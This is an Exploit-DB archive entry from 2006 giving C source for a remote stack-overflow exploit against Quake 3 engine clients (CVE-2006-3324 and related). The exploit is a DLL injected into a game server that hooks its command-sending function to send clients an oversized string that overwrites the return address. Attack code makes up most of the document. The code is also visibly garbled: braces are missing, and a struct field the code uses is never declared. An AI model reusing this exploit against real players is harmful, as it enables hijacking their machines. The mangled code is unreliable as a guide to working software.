Quake 3 Engine Client CG_ServerCommand Remote Overflow Exploit

ID EDB-ID:1976
Type exploitdb
Reporter RunningBon
Modified 2006-07-02T00:00:00


Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit. CVE-2006-3324,CVE-2006-3325,CVE-2006-3400. Dos exploit for windows platform

Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)

Use this responsibly. You are responsible for any damage you cause using this.

The string is heavily filtered before the overflow occurs, so a lot of bytes get stripped. Might want to try alphanum shellcode..

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
	char *pVersionString;
	DWORD dwVersionStringAddr;
	DWORD dwSendServerCommandAddr;
	DWORD dwFillSize;

VersionStruct Versions[] = {
	{ "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333 },	//SoF2 1.03

VersionStruct *pVersion = NULL;

void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
	char szString[4096];
	char *pPtr = NULL;

	if(pVersion != NULL)
		memset(szString, 0, sizeof(szString));
		pPtr = &szString[0];

		memset(pPtr, 'a', pVersion->dwFillSize);
		pPtr += pVersion->dwFillSize;

		memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
		pPtr += sizeof(DWORD);

		orig_SV_SendServerCommand(pCl, szString);

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
	if(dwReason == DLL_PROCESS_ATTACH)
		for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
			if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
				pVersion = &Versions[i];

		if(pVersion == NULL)
			//Could not find correct version
			return 1;

		DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr, (BYTE*)SV_SendServerCommand_Hook);
		_asm mov [orig_SV_SendServerCommand], eax

	return 1;

// milw0rm.com [2006-07-02]